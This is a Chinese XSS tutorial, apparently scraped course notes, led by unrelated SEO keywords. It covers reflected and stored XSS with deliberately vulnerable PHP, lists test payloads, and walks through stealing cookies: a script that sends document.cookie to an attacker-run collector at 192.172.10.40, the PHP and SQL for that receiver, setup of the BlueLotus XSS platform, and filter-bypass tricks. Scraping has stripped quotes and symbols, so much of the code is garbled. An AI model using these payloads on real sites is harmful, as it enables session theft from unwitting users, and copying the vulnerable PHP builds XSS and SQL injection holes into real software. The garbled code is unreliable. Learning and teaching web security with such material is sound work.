响应式网站建设哪家好,廊坊seo排名公司,无锡建设网站的公司,如何运用网站做宣传XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为#xff1a;Cross Site Scripting#xff0c;指跨站攻击脚本#xff0c;XSS漏洞发生在前端#xff0c;攻击的是浏览器的解析引擎#xff0c;XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是…XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为Cross Site Scripting指跨站攻击脚本XSS漏洞发生在前端攻击的是浏览器的解析引擎XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是寻找具有XSS漏洞的网页让受害者在不知情的情况下在有XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS是提前埋伏好漏洞陷阱等着受害者上钩。既然攻击者是执行JavaScript代码所以攻击的语句应该能让JavaScript运行。
有两种途径
第一种 反射型
直接将js代码附在url中把url发送给指定的用户。引诱其点击。
第二种 存储型
把js代码通过后端漏洞存入数据库中由于页面在接受服务器返回响应时会从数据库中取出js代码造成访问该页面的所有用户被攻击。
2 危害
1.页面挂马
2.获取用户的cookie
3.ddos攻击
4.钓鱼攻击
5.篡改数据
6.传播病毒
二 原理
1 反射型
(1)用户输入内容直接显示在页面
php
?php$content $_GET[content];echo $content
?
payload
192.172.10.41/week3/demo1.php?contentscriptalert(1)/script
(2)将用户输入的内容回显在标签对中
php
!DOCTYPE html
html langen
headmeta charsetUTF-8titleDocument/title
/head
bodydiv?php$content $_GET[content];echo $content?/div
/body
/html
payload
192.172.10.41/week3/demo1.php?contenthello
(3) 将用户的输入回显在标签属性中
php
!DOCTYPE html
html langen
headmeta charsetUTF-8titleDocument/title
/head
bodydiv?php$content $_GET[content];?input typetext value?$content;?/div
/body
/html
payload
闭合标签,添加script标签
192.172.10.41/week3/demo1.php?contenthelloscriptalert(1)/script!--
添加事件
192.172.10.41/week3/demo1.php?contenthello οnmοuseοveralert(1)
嵌入网页
192.172.10.41/week3/demo1.php?contentiframe srchttps://www.taobao.com width100% heigth100% /iframe!--
添加页面元素
192.172.10.41/week3/demo1.php?contentimg src./image/dateme.gif οnclickalert(1)!--
XSS常用测试语句
scriptalert(1)/script
img src1 οnerrοralert(1)
svg οnlοadalert(1)
a hrefjavascript:alert(1)
input οnfοcuswrite(1) autofocus
2 存储型
将攻击脚本通过后端写入到数据库中用户在访问页面时后端通过查询将所有数据回显在页面触发攻击。
php-add
?phpinclude utils/dbUtil.php;
//1.接收用户输入$content $_GET[content];//2.sql$sql insert into week3_test values(default,$content);//3.执行sql$res executeSql($sql);//判断结果if($res){echo success;}else{echo error;}
?
192.172.10.41/week3/demo2-xss存储型-add.php?content百度scriptalert(1)/script
php-findById
?phpinclude utils/dbUtil.php;
//1.接收用户输入$id $_GET[id];//2.sql$sql select * from week3_test where id$id;//3.执行sql$res queryOne($sql);//判断结果if($res){print_r($res);}else{echo error;}
?
192.172.10.41/week3/demo3-xss存储型-findById.php?id4
三 XSS获取Cookie
1 发送cookie
php
?phpsession_start();$content $_GET[content];echo $content;
?
注入代码
PHP后台需要将 号处理为%2B将 处理为 %26
语法获取浏览器cookie值 document.cookie发送请求 scriptlocation.hrefurl/scriptscriptlocation.hrefhttp://ip.php?cookie%2bocument.cookie/scriptscriptnew Image().srchttp://ip.php?cookie%2bocument.cookie/script 2 准备C2服务器
搭建phpstudy环境 安装phpstudy 打开软件启动Apache和MySQL服务。 点击网站点击管理里的根目录。这里面放的是我们需要去执行的文件也就是www目录下面。 我们在这个文件里面创建一个简单的php文件。 打开浏览器输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名 开发xss服务器端
表
CREATE TABLE getcookie (id int(0) NOT NULL AUTO_INCREMENT,url varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,cookie varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,createtime timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (id) USING BTREE
) ENGINE InnoDB CHARACTER SET utf8mb4 COLLATE utf8mb4_bin ROW_FORMAT Dynamic;
php
?php$url $_GET[url];$cookie $_GET[cookie];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn mysqli_connect(127.0.0.1,root,root,part3); //2.设置编码格式utf-8mysqli_query($conn,set names utf8);//3.sql$sql insert into getcookie(url,cookie,createtime) values($url,$cookie,now());//4.执行sql$res mysqli_query($conn,$sql) or die(执行失败.mysqli_error($conn));
?
3 开始注入获取cookie
192.172.10.41/week3/demo1-xss反射型.php?contenthelloscriptnew Image().srchttp://192.172.10.40/getcookie.php?url%2Bdocument.cookie%2B%26cookie%2Blocation.href /script 四 BlueLotusXSS平台使用
一、安装 下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具 1 上传BlueLotus_XSSReceiver-master.zip到xampp
把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压
解压 unzip BlueLotus_XSSReceiver-master.zip
2 访问192.172.10.41/BlueLotus_XSSReceiver-master/install.php
按照提示将config-sample.php改名为config.php 不要点安装 3 配置目录权限
执行命令chmod ow data myjs template 4 登录
登录地址 http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码 bluelotus 5 进入首页 二、定制XSS代码
1 生成payload 生成Payload后直接将其代码复制到XSS页面中即可 2 在页面上注入代码
192.172.10.41/week3/demo1-xss反射型.php?contenthelloscript srchttp://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js/script 接收到数据 https://github.com/sqlsec/BlueLotus_XSSReceiver 五 XSS的防御和绕过
1 防御
(1) 前端校验 针对用户输入框进行js校验。
(2)通过函数对用户输入内容中的特殊符号进行转码.
htmpspcialchars(字符串,ENT_QUOTES); ENT_QUOTES表示对单引号进行转码
(3)通过字符串替换:替换规则需要考虑各种覆盖。
str_replace()
2 绕过
(1)针对前端校验
在浏览器上禁用js
通过工具或者协议绕过前端。
(2)函数替换
1 可以使用实体转码#x6A
2 大小写绕过: 针对没有忽略大小写
Script/sCript
3 双写绕过 str_replace(script,,$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过
六 XSS靶场实战